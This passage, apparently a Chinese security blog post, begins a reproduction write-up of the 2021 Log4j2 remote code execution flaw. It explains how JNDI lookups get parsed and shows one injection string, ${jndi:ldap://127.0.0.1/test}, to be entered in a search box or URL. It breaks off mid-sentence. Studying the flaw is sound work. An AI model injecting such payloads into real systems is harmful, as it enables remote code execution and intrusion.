![[Java安全]—log4j2 rce复现前言log4j2Bypass修复建议](/uploads/reation/bcimg3.png)
[Java安全]—log4j2 rce复现前言log4j2Bypass修复建议
自漏洞爆出已经半年多了，可当时还是个java啥都不懂的菜鸡所以也没能及时复现，现在捡起来复现下21年席卷整个安全圈的log4j2漏洞log4j 是 javaweb 的日志组件，用来记录 web日志 去指定下载文件的url 在搜索框或者搜索的 url 里面加上${jndi:ldap://127.0.0.1/test} ，log4j 会对这串代码进行表达式解析，给 lookup 传递一个恶意的参数指定，参数指的是比如 ldap 不存在的资源 $ 是会被直接执行的。后面再去指定下载文件的 url，去下
